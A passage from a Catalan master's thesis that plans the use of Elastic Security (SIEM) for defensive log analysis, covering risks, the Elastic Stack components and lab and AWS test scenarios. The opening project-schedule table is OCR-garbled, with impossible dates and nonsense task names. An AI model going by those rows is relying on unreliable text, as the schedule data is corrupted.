51		-	Preneració de Centresa	3 dias	wie 74/04/20	
52		-	Finalitzar documentació	/ das	vie 74/04/20	
5			Comerció	1 día	mar 78/04/30	
54			Finalització Entresa 3	0 dias	mar 78/04/20	28/04
55			Entresa A. Memòria final	75 dias	mić 79/04/24	
56	-	-	Excentini 7	13 dias		
57		-	Obtenció de dades d'AWS	. dias	mié 70/04/2	
58			Anàlisis d'infrantació	5 dias	hun 04/05/20	
59		-	Ainst de revies del SIEM	5 dias	hun 11/05/20	
60			Feromai 3	7 dian	han 18/05/10	
61			Configuració de reales de Machine Learning	t dias	hun 18/05/20	
62		-	Foundation of Registration in the matching for the function among the function among the function among the function of the fu	. das	vie 72/05/20	
63	-	-	Preservació de l'estrem	1.15		
64		-	Finalitzar documentació	/ dan	mié 77 km./m	
65		2	Formersió	) disc		
65			Finalització de la memòria	n dias	hin (11/06/20	
67		*	r manzakao veria metitatia Entrena 5 Dresentució del video	u unas Selfar	nanosyday20	
68		*	Conversion de la deservationer	1.65	min no Inc for	
69			Caració del video	2.00	ine og og / A	
70		-		o dias Diatara	pac uniy uniy 20	
10		**	ri i'm	o dias	nan usyusy20	

## 1.5. Riscs

Per tal que aquest treball tingui èxit i s'assoleixin els objectius marcats, s'han de tenir en compte quins són els possibles riscs que poden aparèixer, els agruparé a la següent taula:

Risc	Definició	Mitigació	Criti- citat	Possibi -litat
R1: Objectius massa ambiciosos	Durant l'elaboració dels escenaris, és possible que es vulguin contemplar una quantitat massa elevada de	S'anirà ajustant la quantitat de serveis a integrar. Si la seva integració és massa complexa, realitzaré un estudi	Mig	Mig
	servers a integrar,	beneficis.		

	amb diferents nivells de dificultat.			
R2: <i>ElasticSearch</i> SIEM <i>Beta</i>	La funcionalitat del SIEM d'ElasticSearch és molt recent i es troba en fase beta. Això pot provocar que el seu funcionament i comportament no sigui l'esperat.	S'utilitzarà la versió més recent dels components en el moment de realitzar els diferents escenaris. En el cas de detectar alguna anomalia, es registrarà i es validarà si existeix algun pegat per solucionar-ho.	Alt	Alt
R3: Diferents elements de recol·lecció de la informació	Per tal de nodrir la base de dades d' <i>Elastic,</i> s'utilitzaran diferents agents. La informació recol·lectada podria ser que no sigui la necessària, o que no s'hagi recollit de forma correcta al 100%.	S'intentarà sempre treballar amb la informació facilitada per aquests components. Si es detecta algun cas en què la informació recollida no és la necessària, es realitzarà un estudi per tal de valorar si és possible ajustar la configuració a les necessitats del treball o si és possible elaborar algun desplegament a mida. Segons aquesta valoració, es prendrà la decisió	Alt	Mig
R4: Falta de temps per elaborar la memòria	És possible que alguna de les fases esdevingui més costosa que les previsions de temps previstes, fent que la documentació es vagi enrederint.	Procurar redactar la memòria en paral·lel a la realització dels diferents escenaris. Aconseguint així portar-la al dia.	Alta	Baix
R5: Problemes de recursos	Per tal de realitzar els diferents	S'ajustaran el màxim possible els	Mig	Baix

	escenaris serà necessari desplegar diferents màquines virtuals amb recursos determinats.	recursos assignats a cada servei. Procurant així aconseguir una relació entre rendiment i funcionament correcte sense necessitat de sobredimensionar- ho. No iniciar els serveis que no es facin servir perquè no estiguin tots corrent a la vegada. D'aquesta manera, es pot ajustar millor la configuració.		
R6: Funcionalitats Iligades a subscripcions.	La majoria de components que s'utilitzaran són <i>OpenSource</i> . No obstant això, hi ha algunes funcionalitats que van lligades a llicències de pagament, com podria ser el <i>Machine Learning</i> .	S'intentarà, sempre que sigui possible, utilitzar les funcionalitats <i>OpenSource</i> . No obstant això, si és necessària alguna funcionalitat extra de pagament, s'optarà per la utilització de llicències de proves de temps limitat.	Mig	Mig
R7: Infraestructura propietària	Un dels dos escenaris es basarà en un cas d´ús real, on la plataforma a analitzar es troba allotjada en el compte (AWS) d'un client. La quantitat de serveis que s'hi poden allotjar i utilitzar estarà limitada als requeriments i les necessitats del client.	S'utilitzaran tan sols els requeriments disponibles al compte del client. Si es detecta una necessitat extra, es valorarà si hi ha alguna manera per suplir-ho amb altres components que no estiguin allotjats al AWS.	Mig	Mig

## 1.6. Estat d'art

Actualment, al mercat podem trobar una gran varietat de productes que realitzen la funció del SIEM, com podria ser OSSIM d'AlientVault, Qradar d'IMB o bé ArcSight de HP.

La funcionalitat principal del Stack d'Elastic és la recol·lecció, indexació i cerca de dades. No obstant això, durant els últims anys, aquests productes s'han tornat populars entre els professionals del sector de la seguretat informàtica per tal de realitzar anàlisis de seguretat.

Tal i com s'indica a "*Presentación de Elastic SIEM*" (*Paquette, 2019*). Un dels primers passos que va realitzar Elastic en aquest camp, va ser aprofitar els seus agents de recol·lecció de dades per obtenir i processar esdeveniments de seguretat. També va començar amb la recol·lecció d'esdeveniments de seguretat basats en xarxa i la integració amb diferents productes de monitoratge de xarxa. Com que tenien aquests agents tan diversificats, es van adonar que era necessari elaborar un esquema comú de dades, per poder-les normalitzar.

Empreses com Bell Canda, Slack, Cisco Talos o centres d'operacions de seguretat com Big Ten Academic Alliance i Oak Ridge National Laboratory, utilitzen aquest producte per realitzar tasques de seguretat.

En aquest punt, Elastic ja podia obtenir informació de diferents fonts de dades i disposava d'un esquema comú per emmagatzemar aquesta informació. El següent pas, era obtenir una interfície gràfica per analitzar aquestes dades agrupades. El passat juny del 2019 van posar a disposició del públic l'aplicació Elastic SIEM que es pot trobar dins del Kibana versió 7.2.

Un altre pas que va realitzar Elastic per obrir-se camí al món de la seguretat informàtica, també el juny del 2019, va ser la compra d'EndGame, un producte destintat a la protecció de lloc de treball.

Amb aquests dos components, Elastic llança un producte anomenat Elastic Sercurity per a l'anàlisi d'esdeveniments de seguretat i orientat als professionals de la seguretat informàtica.

## 1.7. Breu sumari de productes obtinguts

S'han planificat tres escenaris per la realització del treball, cadascun d'ells disposarà de diferents serveis:

#### Escenari 1: Entorn empresarial

En aquest cas, ens basarem en una plataforma estàndard que es pot trobar de forma més o menys freqüent a la majoria d'empreses. Es concretarà més a la fase de cerca d'informació, segons l'interès que tingui durant el treball. No obstant això, a grans trets els serveis serien:

- > Servei de directori: s'utilitzarà l'*Active Directory* de Microsoft.
- > Servei de compartició de fitxers, hi ha diferents possibilitats:
  - Utilitzar els recursos compartits de Windows.
  - Utilitzar SMB de Linux.
  - Utilitzar NFS de Linux.
- Servei IDS, podrien ser:
  - o Snort.
  - o Suricata.
- Servei web, servei de base de dades...: s'utilitzaran les màquines virtuals Metasploitable preparades per poder practicar hacking ètic.

#### Escenari 2: Cloud Amazon Web Service

En aquest escenari s'aplicaran les funcionalitats que ens ofereix el producte d'Elastic Security en un entorn real. Aquest entorn es troba allotjat al *cloud*, concretament en el proveïdor Amazon Web Service.

Els diferents productes susceptibles a ser analitzats són:

- Clúster Kubernetes: 8 Servidors Linux:
  - Clúster destinat a l'aplicació.
  - Clúster destinat a la integració contínua.
- > Aplicació Web en format contenidor.
- > Balancejadors de càrrega (Elastic Load Balancing).
- > Clúster ElasticSearch com a base de dades.
- Content Delivery Network: Fasly.

#### Escenari 3: Prova del Mòdul de Machine Learning.

Amb les dades obtingudes en els casos anteriors, s'habilitarà la subscripció de proves del mòdul de *Machine Learning* per tal de testejar-lo i revisar quines funcionalitats que ens ofereix.

## 1.8. Breu descripció dels altres capítols de la memòria

Es realitzaran les següents entregues:

- Entrega 1: s'entregarà el pla de treball. En aquesta entrega es definiran els objectius, la metodologia usada, el pla de treball, els possibles riscs i el contingut dels diferents documents de les entregues.
- Entrega 2: s'entrega documentació que inclou la part inicial sobre l'obtenció de coneixement sobre el producte, així com un disseny dels diferents escenaris que es realitzaran. En últim lloc, inclourà el desplegament d'ElasticSearch.
- Entrega 3: en aquesta entrega s'inclouran tots els temes relacionats amb l'escenari 1: desplegament del laboratori, ingestió de *logs* dels diferents components a l'Elastic, anàlisi de les dades i les regles de detecció.
- Entrega 4: en aquesta entrega s'inclourà el contingut de les anteriors PAC's, amb les correccions oportunes. A més, es completarà el treball amb la documentació corresponent dels escenaris 2 i 3. En últim lloc, es completarà la memòria amb unes conclusions.
- Entrega 5: a l'última entrega es realitzarà una presentació que serà la base del vídeo on s'indicaran els temes més rellevants del TFM, així com alguna demostració del seu funcionament.

La relació entre entregues i capítols serà:

#### Entrega 2:

- Capítol 2: correspon a la part més conceptual del treball, on hi haurà l'explicació del funcionament de l'ElasticSearch SIEM, així com la informació bàsica de la resta de productes que s'utilitzaran.
- Capítol 3: planificació dels diferents escenaris. Es realitzarà un esquema dels diferents productes així com la seva relació de cada escenari.
- Capítol 4: procediment per desplegar l'ElasticSearch, així com els seus components.

#### <u>Entrega 3:</u>

Capítol 5: inclourà tota la informació relacionada amb les anàlisis de logs a l'apartat 5.1 es realitzarà una visita per l'Elastic SIEM. Seguidament, al punt 5.2 amb l'escenari 1: desplegament, enviament de logs i anàlisis d'aquests. Creació de regles a l'Elastic SIEM.

#### Entrega 4:

- > Capítol 5: es continuarà completant l'apartat d'anàlisis de logs i s'inclourà:
  - Apartat 5.3 amb tota la informació relacionada amb l'escenari 2: enviament de *logs* i anàlisis d'aquests. Creació de regles a l'Elastic SIEM.

- Apartat 5.4 s'inclourà tota la informació relacionada amb l'escenari
  3; s'utilitzaran les dades obtingudes a l'escenari 1 i s'utilitzarà el Machine Learning per tractar-les.
- Capítol 6: capítol final on es realitzarà una anàlisi dels resultats dels diferents escenaris, s'extrauran les conclusions i es realitzarà una valoració del treball.
- > Capítol 7: s'inclourà la bibliografia del treball.
- Capítol 8: als annexos s'inclouran les diferents captures, scripts i configuracions que s'utilitzin durant el treball.

## 2. Coneixement bàsic

## 2.1. Anàlisi de dades

El procés d'anàlisis de dades consisteix a analitzar, netejar i transformar les dades per tal d'aconseguir informació útil per arribar a conclusions que ens ajudin a prendre decisions o ampliar el coneixement sobre algun tema.

Podem considerar que, en l'àmbit genèric, per tal d'analitzar les dades s'han de seguir les següents fases segons la publicació "*Análisis de Datos*":

- > Fase 1: definir quines són les preguntes que es persegueixen:
  - Primer de tot, el que ens hem de plantejar és què volem aconseguir si analitzem les dades.
- > Fase 2: definir quins són els elements a analitzar:
  - Dins d'aquesta fase, es contempla l'estudi de quines són les dades que ens ajudaran a resoldre les preguntes plantejades i també quins procediments utilitzarem per a mesurar-les.
- > Fase 3: Recol·lecció de dades:
  - Amb la fase 1 i la fase 2 tancades, el següent pas serà obtenir les dades a analitzar. S'ha de tenir en compte quina és la informació que es pot recollir, així com quin és el sistema d'emmagatzematge a utilitzar.
- Fase 4: Anàlisis de dades:
  - Un cop es disposa de les dades, el següent pas serà analitzar-les: buscar relacions i tendències de filtratge d'informació.
- ➢ Fase 5: Interpretar les dades:
  - Aquesta és l'última fase, on s'ha d'intentar respondre les preguntes plantejades inicialment.

Aquest mateix procés el podem aplicar a l'anàlisi de dades de seguretat, afegint les següents premisses:

Fase 1: la pregunta que volem respondre és si la infraestructura TIC d'alguna organització ha patit alguna incursió o incident de seguretat.

Fase 2: els elements que volem analitzar són la totalitat o part de la infraestructura TIC.

Fase 3: les dades que volem analitzar i que ens donaran informació, es troben en les diferents mètriques i *logs* que genera cada part de la infraestructura TIC.

Fase 4: amb la informació recollida es poden detectar possibles problemes de seguretat com serien: canvis de fitxers, intents fallits d'introducció de contrasenyes, accés a IP's malicioses....

Fase 5: amb la informació obtinguda i analitzada, cal confirmar o desmentir que hi ha hagut un incident de seguretat.

No obstant això, en el cas de l'anàlisi de seguretat, aquest procés es considera cíclic, ja que les dades estaran vives i en constant canvi. Plasmat en un diagrama de flux:



Per tal de realitzar aquest procés, al mercat es poden trobar diferents solucions. En aquest treball ens centrarem en els productes d'Elastic.

Elastic, per tal de donar solució a la fase de recol·lecció, centralització d'informació i anàlisi de les dades, ofereix la solució Elastic Stack.

## 2.2. Elastic Stack

Com s'ha comentat anteriorment, aquest grup d'aplicacions ens ajuden amb les fases d'indexació, visualització i recol·lecció de les dades. Es pot considerar que cadascun d'ells és una peça en un engranatge que treballa conjuntament.



A continuació detallarem les característiques de cadascun d'aquests productes.

### 2.2.1. ElasticSearch



Elastic a "¿Qué es Elasticsearch?" defineix ElasticSearch com: "Un motor per l'anàlisi distribuït de tota mena de dades".

Aquest component és la peça central de tota la solució. Tot i que permet emmagatzemar dades, no és estrictament una base de dades, sinó que es pot considerar un motor de cerca i anàlisis de tota classe de dades. Va ser presentat per primera vegada al 2010. Es basa en el llicenciament *OpenSource* i s'ha desenvolupat mitjançant Apache Lucene<sup>1</sup>.

Les dades s'envien a l'ElasticSearch sense processar des de les diferents fonts i aquest s'encarrega d'indexar-les. A partir d'aquest punt, ja es poden llençar consultes complexes sobre aquestes dades. També ens permet fer agrupacions de dades.

<sup>&</sup>lt;sup>1</sup> Llibreria *OpenSource* Java que ofereix característiques d'indexació i cerca de text.

De les funcionalitats que ens aporta ElasticSearch se'n pot destacar:

- Logging i analítica de logs.
- Mètriques d'infraestructures.
- Anàlisis de seguretat.

### 2.2.2. Kibana



És una eina de visualització i gestió de dades per l'ElasticSearch. Ens permet realitzar histogrames en temps real, gràfiques, mapes així com seqüències temporals. També disposa d'aplicacions avançades com serien *Canvas* (infografies dinàmiques), *Elastic Maps* (visualització de dades geoespacials) o Elastic SIEM, que explicaré a continuació, entre d'altres.

A més, també és l'eina central per controlar l'estat dels diferents components.

### 2.2.3. Logstash



Aquest component permet processar, transformar i enviar diferents tipus de dades a l'ElasticSearch. Es podria considerar una *pipeline*<sup>2</sup> de processament de dades. Les seves funcions principals són:

- Transformar un conjunt de dades sense cap estructura especifica en dades estructurades.
- > Desxifrar coordenades geogràfiques d'IP.
- Anonimitzar camps sensibles.

Per tal d'aconseguir que un seguit de dades no estructurades passin a ser estructurades, utilitza grok<sup>3</sup>. No obstant això, també disposa d'un seguit de *plugins* de tecnologies específiques per aconseguir aquesta conversió de dades.

<sup>&</sup>lt;sup>2</sup> Flux de processament de dades en què es reben dades, es processen i generen una sortida.

<sup>&</sup>lt;sup>3</sup> Sistema per transformar dades no estructurades a dades estructurades.



Aquest component ens pot ajudar amb l'obtenció d'informació sobre el funcionament de les pàgines web, així com el temps de resposta i els errors que es produeixen durant l'execució.

Aquest component està format per dues peces:

- APM-Agent: component escrit amb diferents llenguatges de programació web que s'integra amb l'aplicació per poder obtenir informació sobre rendiment i errors en temps d'execució.
- APM-Server: processa la informació que li arriba dels diferents APM-Agents i la converteix en documents que puguin ser emmagatzemats per ElasticSearch.
- 2.2.5. Beats



Aquest és l'últim component que forma part del Stack. La seva funció principal és l'obtenció de les dades i l'enviament d'aquesta informació a l'ElasticSearch. No obstant això, si es vol disposar d'un nivell més elevat de processament, es pot enviar la informació obtinguda primer al Logstash.

Estrictament, Beats no és un sol producte sinó que són un conjunt d'agents independents, orientats a diferents tipus específics de recol·lecció de dades.

Alguns d'aquests agents són pròpiament d'Elastic, com podrien ser, entre d'altres:

- > FileBeat: està destinat a la recol·lecció d'informació d'arxius de logs.
- > MetricBeat: recol·lecció de mètriques, com seria la CPU, la memòria, etc.
- PacketBeat: recol·lecció de tràfic de xarxa.
- > WinLogBeat: recol·lecció d'esdeveniments Windows.
- AduitBeat: recol·lecció d'elements d'auditoria. Inclou un mòdul d'integritat de fitxers.

Com que està basat en *OpenSource*, permet que tercers puguin desenvolupar *plugins* pels Beats de tecnologies més diverses.

Tota la informació que obtenen aquests agents, es parametritza segons l'Elastic Common Schema (ECS), que en parlarem més endavant. A manera de resum, les dades recollides es classifiquen segons un estàndard, aconseguint que la informació que prové de diferents components, tingui els mateixos atributs.

## 2.3. Elastic Common Schema

Com s'indica a "*What is ECS?*", Elastic és una especificació *OpenSource*, que s'ha creat amb l'ajuda de la comunitat d'Elastic. En aquesta especificació, es defineixen un seguit de camps comuns que s'utilitzen per emmagatzemar la informació a l'ElasticSearch.

L'objectiu que es persegueix amb aquesta especificació, és ajudar als usuaris perquè puguin normalitzar la informació dels esdeveniments, per tal que sigui més fàcil per analitzar-los, visualitzar-los i realitzar les correlacions.

Per cada camp, s'especifica un nom, el tipus de dades de l'ElasticSearch, una descripció i exemples del seu ús. Aquests camps s'agrupen en dos nivells.

- Core: camps que són comuns en tots els casos d'ús. Són els primers que s'han d'utilitzar.
- Extended: inclou tots els camps que no són core. En cada cas d'ús poden ser utilitzats o interpretats de manera diferent.

Si es disposa d'informació que no pot ser representada en cap camp de l'ECS, com que té l'esquema permissiu, es pot crear de nou.

## 2.4. Productes

Tenint en compte tots els components comentats als apartats anteriors, Elastic considera que disposa de 3 solucions o configuracions.

- Enterprise Search: la seva funció principal és la realització de cerques de documents i resultats que es poden localitzar a webs, aplicacions o llocs de treball.
- Observability: anàlisi centralitzat de logs, mètriques, APM i monitoratge del temps d'activitat.
- Security: prevenció, detecció i resposta davant d'amenaces amb SIEM i Endpoint Security.

En aquest treball, ens centrarem amb:





## 2.5. Elastic Security

Segons la publicació *"Elastic SIEM 7.4.0 released" (Wurm, 2019),* Elastic és un dels productes més recents que ha presentat Elastic, amb aproximadament un any de vida, es va llançar el 25 de juny de 2019. No obstant això, abans de la presentació oficial, ja hi havia algunes organitzacions que utilitzaven les funcionalitats d'ElasticSearch per tal de realitzar anàlisis de seguretat.

Amb aquest producte, es busca la integració entre dos components crítics de la seguretat informàtica: el SIEM i la seguretat en el lloc de treball. Ofereix capacitat de prevenció, recopilació, detecció i resposta per tal d'aconseguir una resposta unificada.

Actualment, aquest producte està format pels següents components:

- Elastic SIEM.
- EndPoint Security.

### 2.5.1. Elastic SIEM



Estrictament, Elastic SIEM no és un nou producte independent sinó que és una nova aplicació que s'ha integrat al Kibana per tal de donar solució al cas d'ús de seguretat. L'aplicació ofereix la capacitat de visualitzar d'una manera molt intuïtiva les dades. La seva estructura és molt similar a les eines de seguretat habituals que permeten filtrar, visualitzar i investigar informació indexada a l'ElasticSearch.

Aquesta aplicació es pot utilitzar en format *beta* pels usuaris a partir de la versió 7.2 de l'Elastic amb la llicència bàsica. Juntament amb la resta de productes, utilitza l'Elastic Common Schema.

Malgrat que el seu nom és Elastic SIEM, avui en dia encara no es pot considerar un SIEM<sup>4</sup>, tal com s'indica al Webinar "*Introducción a Elastic SIEM: protege tu organización con el Stack Elastic*" (Cascallares, 2019) ja que li falten funcionalitats d'aquests tipus de productes o encara estan en fases inicials, com seria la creació de regles per detectar anomalies. El full de ruta que està seguint Elastic amb aquest producte és el següent:

<sup>&</sup>lt;sup>4</sup> Aplicació que busca aportar a les organitzacions informació útil sobre possibles amenaces de seguretat, gràcies al processament de *logs*, mètriques i la correlació entre ells.



Elastic SIEM està integrat dins de l'Elastic Stack, permet utilitzar i aprofitar totes les funcionalitats que ofereixen els altres components. Com que tots els components utilitzen l'ECS, el seguiment i l'anàlisi de la informació esdevé més senzilla.

### 2.5.2. Elastic Endpoint Security

Com es va publicar a l'article "*Welcome Endgame: Bringing Endpoint Security to the Elastic Stack (*Banon, *2019),* el passat 5 de juny, es va anunciar la compra per part d'Elastic de l'empresa de seguretat End Game. Amb aquesta compra, es busca unir esforços per aconseguir llençar al marcat un sistema de seguretat global, que busca combinar les funcionalitats del SIEM i de la protecció al lloc de treball (EndPoint).

Després d'aquest fet, el passat 15 d'octubre a l'article "*Presentación de Elastic Endpoint Security*" (Banon, 2019), es va presentar el producte que sorgeix de la fusió de les dues empreses. Aquest producte ajuda a prevenir amenaces com serien *ransomware*, *phishing*, *malware*, vulnerabilitats i atacs sense fitxers (*shellcode injection* o *reflective DLL*).

Actualment, aquest producte és un programa extern que envia la informació directament a l'Elastic Stack. Segons les previsions de futur, es preveu que aquest producte es transformi en un altre *Beat*, segons "*Presentación de Elastic Endpoint Security*" (Banon, 2019).



A dia de realització del treball, aquest producte tan sols es troba com a "Programa de acceso temprano", encara no té versió comercial.

# 3. Planificació d'escenaris

Com hem vist en els apartats anteriors, el producte d'Elastic Sercurity es pot aplicar en molts escenaris diferents. En aquest treball, l'aplicarem en tres escenaris diferents:

## 3.1. Escenari 1: Entorn empresarial

Avui en dia, és molt habitual que les empreses utilitzin tota mena de sistemes d'informació per dur a terme la seva activitat econòmica. Per cobrir més o menys les necessitats bàsiques en aquest àmbit, és habitual disposar dels següents serveis:

- Servei de Directori: serveix per tenir centralitzada tota la gestió d'usuaris, grups, polítiques de seguretat... permetent un inici de sessió únic als diferents recursos de la infraestructura TIC.
- DNS: els diferents serveis TIC es troben distribuïts a una xarxa, que pot estar distribuïda en diferents zones geogràfiques. En el moment de desplegar els diferents serveis a aquesta xarxa, se li assigna una IP. No obstant això, és molt més senzill que els usuaris es recordin d'un nom i no d'un conjunt de números. És aquí on intervé el DNS, que la seva funció principal és convertir els noms a IP's.
- Servei de recursos compartits: per tal que els empleats tinguin una ubicació més o menys segura, centralitzada i protegida a on emmagatzemar i compartir els diferents arxius que utilitzen en el seu dia a dia, se solen utilitzar recursos compartits. A grans trets, es pot considerar un disc dur que està connectat a la xarxa i és accessible per l'organització.
- > Webs: les pàgines web poden ser utilitzades de diferents maneres:
  - Internament com si es tractés d'una intranet: on els usuaris poden realitzar gestions internes o utilitzar eines col·laboratives, entre altres.
  - Externament: per tal d'oferir els productes que genera l'empresa o per donar-se a conèixer.
- Base de Dades: per tal de nodrir d'informació les diferents aplicacions que disposa una empresa, és necessari disposar d'un lloc centralitzat a on emmagatzemar aquesta informació.

IDS (Sistemes de Detecció d'Intrusions): tot i que no és tan freqüent trobar-ho, cada cop estan agafant més rellevància. La seva funció principal és la detecció d'accessos no autoritzats a equips o a la xarxa, donant un nivell més de seguretat a l'empresa per tal de detectar intrusions.

Com hem vist, la infraestructura que disposa una empresa pot arribar ser molt complexa. Això fa que l'origen de les amenaces de seguretat augmenti considerablement i, a causa de la gran quantitat de sistemes que intervenen, detectar aquests problemes pot arribar a ser costós. Per aquest mateix motiu, el primer escenari a on podem veure els beneficis que ens aporta Elastic Security és en un entorn empresarial.

Per poder detectar possibles problemes de seguretat, el procés que se seguiria seria costós, ja que s'hauria d'accedir a cadascun dels recursos i revisar els diferents punts d'informació, que poden estar ubicats en una mateixa ruta o en diferents. De la mateixa manera, s'hauria de realitzar una correlació de tots els esdeveniments de cada recurs contra la resta de sistemes.

Aconseguir centralitzar tota la informació de les diferents peces en un únic lloc, farà que tot el procés d'anàlisis i detecció d'amenaces sigui més assequible, ja que no s'haurà de recórrer tota la plataforma, element a element, per cercar i analitzar la informació. Accedint a una sola plataforma, ens permetrà tenir tota la informació dels diferents recursos i tractar-los d'una manera menys costosa.

Per tal de dissenyar l'escenari, en primer lloc es farà un estudi dels diferents productes que hi ha al mercat per tal d'escollir quin formarà part de l'escenari.

### 3.1.1. Servei de directori

Un dels serveis de directori més utilitzats a l'entorn empresarial és Active Directory de Microsoft. Internament, el que implementa Active Direcotry no és res més que una base de dades LDAP on s'emmagatzemaran els diferents objectes. Aquest servei pot estar ubicat en un o diversos servidors.

Active Directory permet crear objectes dins del directori, com podrien ser: usuaris, equips o grups per tal d'administrar les credencials utilitzades pels usuaris i serveis durant el procés d'inici de sessió.

També ens permet administrar polítiques de seguretat sobre els recursos i els comptes d'usuaris. Permet, entre altres accions: bloquejar els comptes d'usuaris en cas que s'introdueixi de manera incorrecta la contrasenya un nombre determinat de vegades, forçar la rotació de la contrasenya o, si ens centrem en recursos, limitar els permisos que tenen els usuaris per realitzar determinades accions sobre el seu ordinador. Una altra de les funcionalitats que ens ofereix és el *Single Sign On*, que dóna la possibilitat d'utilitzar un mateix usuari en diferents serveis sense necessitat de tornar-te a autenticar.

Com és un dels serveis de directori més complets del mercat, pel treball s'utilitzarà Microsoft Active Directory. Concretament, desplegaré l'Active Directory de la versió Windows Server 2019.

### 3.1.2. DNS

A més de ser un dels requeriments necessaris per desplegar el servei d'Active Directory, també és un component molt important a l'empresa, ja que facilita l'accés als diferents serveis.

Al mercat es poden trobar diferents productes que ofereixen aquest servei. Uns dels més destacats són:

- Microsoft DNS: és una característica disponible al Windows Server. La seva configuració és senzilla i disposa d'una consola d'administració. Aquest producte és el que utilitza Active Directory per defecte. Per tant, és molt freqüent trobar-lo a les organitzacions.
- Bind: és un dels servidors de DNS que ha agafat més força al mercat, es distribueix amb la majoria de versions Linux o Unix. No obstant això, la seva configuració és més costosa.

Si ens centrem en la seguretat i el rendiment, els dos productes són robustos i eficients. Tenint en compte els objectius d'aquest treball, com que s'utilitzarà Active Directory, també s'utilitzarà Microsoft DNS, ja que és més habitual trobarlos junts en un entorn real.

### 3.1.3. Recursos Compartits

Par tal de realitzar la compartició de recursos, principalment es solen utilitzar dos protocols: CIFS o NFS. Aquesta implementació depèn molt de quin és el sistema base que utilitzem per muntar el Servidor.

Normalment, a les empreses on s'utilitza Microsoft com a tecnologia principal, el tipus de recursos compartits que s'implementen és el CIFS. Aquest el va desenvolupar Microsoft i es basa amb el protocol SMB d'IBM. Aquest protocol pot ser utilitzar per compartir fitxers i impressores.

En canvi, si la tecnologia que predomina a l'empresa és Linux o Unix, se sol utilitzar el protocol NFS. Aquest protocol va ser desenvolupar per SUN i és molt utilitzat en la compartició de dades entre hosts del mateix tipus.

Si ens centrem a nivell de seguretat, CIFS permet implementar ACL per tal de protegir arxius i també permet la integració amb Kerberos. La seguretat que implementa NFS és més limitada: permet l'autenticació mitjançant usuaris i grups locals del mateix servidor a on es serveix el recurs. ACL s'implementa a partir de la versió 4.

Com que són protocols diferents i estan pensats per productes diferents, encara que sigui possible la seva interconnexió, es realitzaran proves amb els dos tipus.

### 3.1.4. Webs i bases de dades

Per tal de disposar de diferents webs i bases de dades per analitzar esdeveniments de seguretat mitjançant Elastic, he escollit utilitzar una distribució pensada per practicar *hacking* ètic. És a dir, és una suite amb diferents components vulnerables preparats per detectar forats de seguretat i, d'aquesta manera, poder practicar tècniques d'intrusió.

S'utilitzarà:

- Web Security Dojo: disposa de diferents webs vulnerables per tal de realitzar proves d'intrusió.
- Metasploit: és una màquina virtual amb vulnerabilitats preparada per poder provar diferents tècniques d'intrusió.

### 3.1.5. IDS

Al mercat es poden trobar diferents tipus d'IDS en funció del tipus de tècnica que s'utilitza per detectar les amenaces:

- Detecció a base de signatures: per tal de detectar els comportaments deshonestos, s'utilitzen regles o patrons de comportament coneguts. S'analitzen les dades buscant aquests patrons, en el cas que se'n detecti un, fa saltar una alarma. Aquest tipus de sistemes no ens protegeix d'amenaces de dia zero, no obstant això, la quantitat de falsos positius és baixa.
- Detecció a base d'anomalies: per tal de detectar els comportaments deshonestos, aquest tipus d'IDS, a primera instància han de realitzar un perfil del comportament "normal", que a mesura que vagi passant el temps, s'anirà completant. Un cop es disposa d'aquest perfil base, qualsevol comportament que es diferencia amb un llindar específic, serà considerat una amenaça. Aquests tipus de sistemes ens protegeix de les amenaces de dia zero però, per contra, la quantitat de falsos positius és més elevada.

Per altra banda, també els podem classificar tenint en compte quina és la font d'obtenció de dades:

- NIDS: les dades les obté a través del tràfic de xarxa: captura els diferents paquets i, a posteriori, els utilitzarà per detectar-hi les possibles amenaces. En implementar aquest tipus de sistema, és habitual que es dupliqui tot el tràfic que travessen els *switchs* i els encaminadors.
- HIDS: les dades les obté a través de la informació que es recopila als diferents *logs* dels equips. Normalment, per tal d'obtenir aquesta informació, s'ha d'instal·lar un agent encarregat de la seva recollida i processament.
Si ens centrem en les funcionalitats que ens ofereixen els Beats d'Elastic, podem veure que la part de HIDS està coberta per l'AuditBeat i el WinlogBeat.

La part que avui dia encara no està coberta al 100%, és la part de NIDS. Tot i que existeix el PacketBeat, la seva funció es centra en la captura de tràfic, la part de detecció es troba en versió *beta*.

Per tal d'aportar la funcionalitat del NIDS, existeixen diferents productes. Destacarem:

- Snort: és un dels NIDS més veterans, disposa d'una bona comunitat que hi treballa. A més, hi ha diferents productes comercials que implementen aquest NIDS per tal d'analitzar la xarxa, un exemple podria ser Alien Vault.
- Suricata: es podria considerar com una evolució del Snort. A primera instància, les regles definides i utilitzades al Snort són compatibles amb el Suricata. Una altra millora que aporta, és que, a més de paquets de xarxa, també és capaç de capturar i analitzar certificats TLS/SSL, sol·licituds HTTP i sol·licituds DNS.

Una de les característiques interessants que ens ofereix Suricata envers Snort, és la seva fàcil integració amb l'Elastic Stack. FileBeat disposa d'un mòdul natiu per processar els *logs* de Suricata. Per aquest motiu, l'IDS que s'utilitzarà serà Suricata. Per la part de HIDS s'utilitzaran l'AuditBeat i el WinlogBeat.

# 3.1.6. Esquema

Per veure l'escenari a escala esquemàtica, es desplegaran les següents màquines virtuals:



# 3.2. Escenari 2: Cloud Amazon Web Service

La popularitat del *cloud computing* s'ha anat incrementant en els últims anys. Aquesta casuística ha fet que, moltes empreses, hagin deixat de tenir els seus servidors als CPD's propis i hagin començat a moure'ls al núvol.

Un dels proveïdors de *cloud computing* que ha agafat més rellevància ha estat Amazon Web Service (AWS). Disposa d'un gran catàleg de serveis, tan autogestionats per AWS com serveis gestionats pel mateix client. Permetent arribar a generar infraestructures complexes al núvol.

A causa d'aquesta tendència, és interesant veure què ens pot oferir Elastic Security en aquest àmbit. Per això, el segon escenari plantejat és un cas d'ús basat en un entorn web amb arquitectura al *cloud* d'una empresa real que recentment s'ha posat en producció.

Aquesta plataforma està formada pels següents components:

# 3.2.1. ElasticSearch

En aquesta aplicació, ElasticSearch és utilitzat com a base de dades. Les dades de l'aplicació web es troben allotjades a un clúster d'ElasticSearch en tres zones diferents dins d'una mateixa regió. L'accés a aquest clúster es fa mitjançant un balancejador (*Application Load Balancing*).

Tots els nodes d'ElasticSearch estan desplegats sobre instàncies EC2 (màquines virtuals).



# 3.2.2. Plataforma Kubernetes

L'aplicació es troba en format contenidor i està corrent sobre la plataforma de Kubernetes. Aquesta plataforma està formada per tres servidors màsters a diferents zones de disponibilitat, amb un grup d'*AutoScaling*. La seva tasca és coordinar el desplegament i el funcionament dels *workers*.

